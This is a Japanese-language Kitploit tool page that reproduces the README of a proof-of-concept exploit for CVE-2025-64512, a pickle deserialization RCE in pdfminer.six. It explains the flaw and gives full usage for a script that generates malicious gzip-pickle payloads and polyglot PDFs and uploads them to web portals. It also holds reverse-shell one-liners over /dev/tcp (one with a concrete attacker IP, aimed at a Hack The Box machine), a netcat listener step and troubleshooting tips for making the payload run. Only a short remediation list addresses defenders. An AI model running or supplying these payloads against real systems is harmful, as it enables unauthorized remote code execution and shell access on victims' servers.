Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-64512_PoC — CVE-2025-64512(pdfminer.sixのpickleデシリアライゼーションRCE)のPython PoC。gzip圧縮されたpickleペイロードとポリグロットPDFを生成し、認可されたテストのためにアップロードポータルへ送信します。 | Kitploit
ツール/GitHubGitHub/jinook-kim/cve-2025-64512_poc
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用セキュリティ仮想化CTFペネトレーションテスト学習と教育
GitHubjinook-kim/cve-2025-64512_poc

CVE-2025-64512_PoC

CVE-2025-64512(pdfminer.sixのpickleデシリアライゼーションRCE)のPython PoC。gzip圧縮されたpickleペイロードとポリグロットPDFを生成し、認可されたテストのためにアップロードポータルへ送信します。

リポジトリを見る
16時間19分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-64512 — pdfminer.six RCE エクスプロイト

Python 3、標準ライブラリのみ(pip インストール不要)。認可されたセキュリティテストおよび CTF 専用 — 法律およびエンゲージメントの 交戦規則を遵守する責任はあなたにあります。

CVECVE-2025-64512
影響を受けるバージョンpdfminer.six < 20251107(20251107 で修正 — CMaps が JSON に)
下流の被害者markitdown < 0.1.4、pdfplumber < 0.11.8
種類CWE-502 信頼できないデータのデシリアライズ → 認証不要の RCE
参考 PoCluigigubello/CVE-2025-64512-Polyglot-PoC (単一ファイルのポリグロット版)

テスト済みターゲット: https://app.hackthebox.com/machines/Bedside


1. 脆弱性を平易に説明

pdfminer.six は PDF からテキストを抽出するための人気のある Python ライブラリです。PDF フォント には CMaps が必要です — これは文字コードを Unicode に変換するテーブルであり、pdfminer はそれらを自身のパッケージ内に gzip 圧縮された pickle(<name>.pickle.gz)として 同梱しています。 CMap がどのようにロードされるかを見てください(pdfminer/cmapdb.py、20251107 より前のすべてのバージョン):

root@kitploit:~
@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")                  # 唯一のサニタイズ
    filename = "%s.pickle.gz" % name               # ← 攻撃者が `name` を制御
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)   # ← 絶対パス名はディレクトリを無視する!
        if os.path.exists(path):
            with gzip.open(path) as gzfile:
                return type(str(name), (), pickle.loads(gzfile.read()))   # ← 💥

3 つの欠陥が重なっています:

  1. name は PDF 自体から来る。 Type0(CID)フォントの /Encoding エントリは PDF の 名前 であり、攻撃者が完全に制御できます。PDF の名前には生の / を含めることができないため、RFC 標準の 16 進エスケープで記述されます: 名前 /#2f#76#61#72#2f… は /var/… にデコードされます。
  2. os.path.join の癖。 2 番目の引数が絶対パスの場合、最初の引数は 完全に無視されます。したがって /var/www/site/uploads/shell という名前を指定すると、pdfminer は 自身の CMap ディレクトリではなく /var/www/site/uploads/shell.pickle.gz — ディスク上の 任意の パス — を 参照します。
  3. ファイルの内容に対する pickle.loads()。 pickle は「この関数を呼び出して 再構築せよ」という命令(__reduce__)を含むことができます。攻撃者のバイト列をデシリアライズする = pdfminer を呼び出した プロセス内で攻撃者のコードを実行することになります。

エクスプロイトの前提条件 — このバグは、方程式の両方の半分を提供する あらゆるアプリケーションで簡単に悪用できます:

  • 既知の絶対パス に ファイルを配置する 方法(アップロードポータル。パスは 多くの場合エラーメッセージで漏洩します)、
  • サーバーに あなたが制御する PDF を解析させる 方法(アップロード時、変換 エンドポイント経由、バックグラウンドのウォッチャー/cron 経由など)。

2. スクリプトの動作

  1. gzip 圧縮された pickle を構築します: {"__reduce__": eval("__import__('os').system('<your command>')")}。
  2. 唯一の内容が、/Encoding があなたの pickle の絶対パスを指す Type0 フォントを 使用するページである、最小限だが構造的に有効な PDF を構築します。
  3. それを配信します:
    • --mode two (デフォルト) — <name>.pickle.gz をアップロードし、次に <name>.pdf をアップロードします。 ターゲットが PDF 拡張子を持つファイルのみを解析する場合 (例: uploads/*.pdf を glob するウォッチャー)はこれを使用してください。
    • --mode polyglot — 1 つ のファイル <name>.pickle.gz をアップロードします。これは 有効な gzip-pickle かつ 有効な PDF の 両方 です: PDF 全体が gzip ヘッダーの FCOMMENT フィールドに隠れています(RFC 1952 はコメントを許可します。%PDF- シグネチャは バイト 10 に位置し、xref オフセットはテーブルが有効なままになるよう事前にシフトされています)。 ターゲットが拡張子に関係なくアップロードされた任意のファイルを PDF として解析する場合 (markitdown スタイルのコンバーター)はこれを使用してください。
  4. オプションでファイルが配置されたことを検証し(--verify)、ターゲットの 処理サイクルを待機し(--wait)、コマンドが実行される前に電話をかける () を先頭に追加できます — これにより、メインチャネルが 失敗しても実行を証明できます。

3. インストール

インストールするものはありません — Python 3.10+(str | None 構文を使用):

root@kitploit:~
chmod +x cve_2025_64512.py

4. 使用方法

4.1 まずローカルでリハーサルする

サンプルペイロードを生成し、(脆弱な pdfminer がインポート可能であれば)ターゲットに触れる前に 自分の Python でそれらを実行してチェーンが機能することを証明します:

root@kitploit:~
# セルフテストを脆弱な pdfminer のチェックアウト/ホイール(20251107 より前の任意のもの)に向ける
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest

期待される出力は、2 ファイルトリガーとポリグロットの両方で SELFTEST PASS で終わります。 手動でテストすることもできます:

root@kitploit:~
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/       # /tmp/demo.pickle.gz として配置
pdf2txt.py /tmp/demo-trigger.pdf                # 脆弱な pdfminer のみ
cat /tmp/pwned                                  # → あなたの uid

4.2 汎用アップロードポータル(Bedside スタイル)

root@kitploit:~
# 1. コマンドのコールバックチャネル用のリスナーを起動
nc -lvnp 4444

# 2. エクスプロイトを実行 — アップロードディレクトリ自体を発見させる
python3 cve_2025_64512.py \
    --url http://research.target.htb/ \
    --leak-path \
    --verify /uploads \
    --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"

完全な引数リファレンス:

4.3 実例 — HTB Bedside

root@kitploit:~
echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 &                                   # リスナー

python3 cve_2025_64512.py \
    --url http://research.bedside.htb/ \
    --path /var/www/research.bedside.htb/uploads \
    --verify /uploads --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"

# → pdfminer サービスユーザーとしてのシェル(Bedside では: datawrangler、コンテナ内)

5. トラブルシューティング

6. 修復(防御者向け)

  • pdfminer.six ≥ 20251107 にアップグレードしてください。markitdown ≥ 0.1.4 / pdfplumber ≥ 0.11.8 にパッチを適用してください。
  • パーサーがファイル内部のメタデータからパスを解決する場所に、攻撃者が書き込み可能なファイルを 決して配置しないでください。パーサーが読み取り専用のストレージからアップロードを提供してください。
  • すべてのデシリアライザをコード実行として扱ってください: 信頼できないバイト列に対する pickle.loads、torch.load、 yaml.load はすべて同じバグクラスです。データ専用フォーマット (JSON、Safetensors、ONNX)を優先してください。
  • X-Powered-By スタイルのヘッダーを無効にし、一般的なエラーを返してください — どちらも Bedside で 材料リストを漏洩させました。
ツールをダウンロード
コールバックオラクル
--callback
引数目的
--commandターゲットで実行するシェルコマンド(必須)。sh -c の下で実行されるため、パイプ/リダイレクト/サブシェルが機能します。
--urlマルチパート POST を受信するアップロードエンドポイント。
--upload-urlアップロードが --url とは異なる URL に送信される場合に POST ターゲットを上書きします。
--fieldマルチパートフィールド名(ポータルの HTML <form> を読んでください。一般的: uploadFile、file)。
--pathアップロードが配置される 絶対 サーバー側ディレクトリ(例: /var/www/site/uploads)。PDF はここで pickle を指定するため、正確でなければなりません。
--leak-pathパスがわからない場合? 不正な形式のコンテンツをアップロードし、ポータルのエラーメッセージからそれをスクレイプします(多くのポータルは宛先を出力します)。
--name生成されるファイルのベース名(デフォルト shell)。古いファイルを避けるため再実行時はランダム化してください。
--modetwo(デフォルト)または polyglot — §2 を参照。
--callback URLコマンドの前に URL への HTTP フェッチを先頭に追加します。python3 -m http.server 8000 を実行してヒットを監視します。実行オラクル。
--wait Nアップロード後 N 秒間スリープします — ターゲットの処理ケイデンスに合わせてください(ウォッチャー/cron はしばしば 30 秒ごとにポーリングします。失敗と判断する前に完全なサイクルを待ってください)。
--verify /uploadsその後、各アップロードファイルを GET して、PDF が期待する場所に配置されたことを確認します。
--timeout、--out-dir、--no-upload、--selftestHTTP タイムアウト、ローカル出力ディレクトリ、生成のみモード、ローカルリハーサル。
症状原因 / 修正
アップロード時の MIME type mismatchポータルが拡張子だけでなくコンテンツをスニッフィングしています。両方のペイロードは本物の gzip / 本物の PDF です — 切り詰めていないことを確認してください。トリガー は %PDF- で始まる必要があり、pickle は解凍できる必要があります(gzip -t)。
アップロードは OK、何も実行されない1) ウォッチャー/cron の完全なサイクルを待つ(--wait 35)。2) pickle が <path>/<name>.pickle.gz で到達可能であることを確認する(--verify)。3) pdfminer を実行しているプロセスがあなたのファイルを 読み取れる ことを確認する。4) 決定的な実行シグナルとして --callback を使用する。
アップロードパスが不明--leak-path、または任意の検証エラーをトリガーしてメッセージを読んでください。
ポリグロットがトリガーされない解析されるファイルは .pickle.gz で終わる 同じ ファイルでなければなりません。ターゲットが *.pdf アップロードのみを解析する場合は、--mode two を使用してください。
ターゲットログの TypeError: type.__new__() argument 3 must be dictそれは成功です — pdfminer があなたの pickle を実行し、その後自身の戻り値でつまずきました。無害です。
ターゲットがパッチ済みpdfminer ≥ 20251107 は CMaps を JSON からロードします。ここで悪用するものはありません。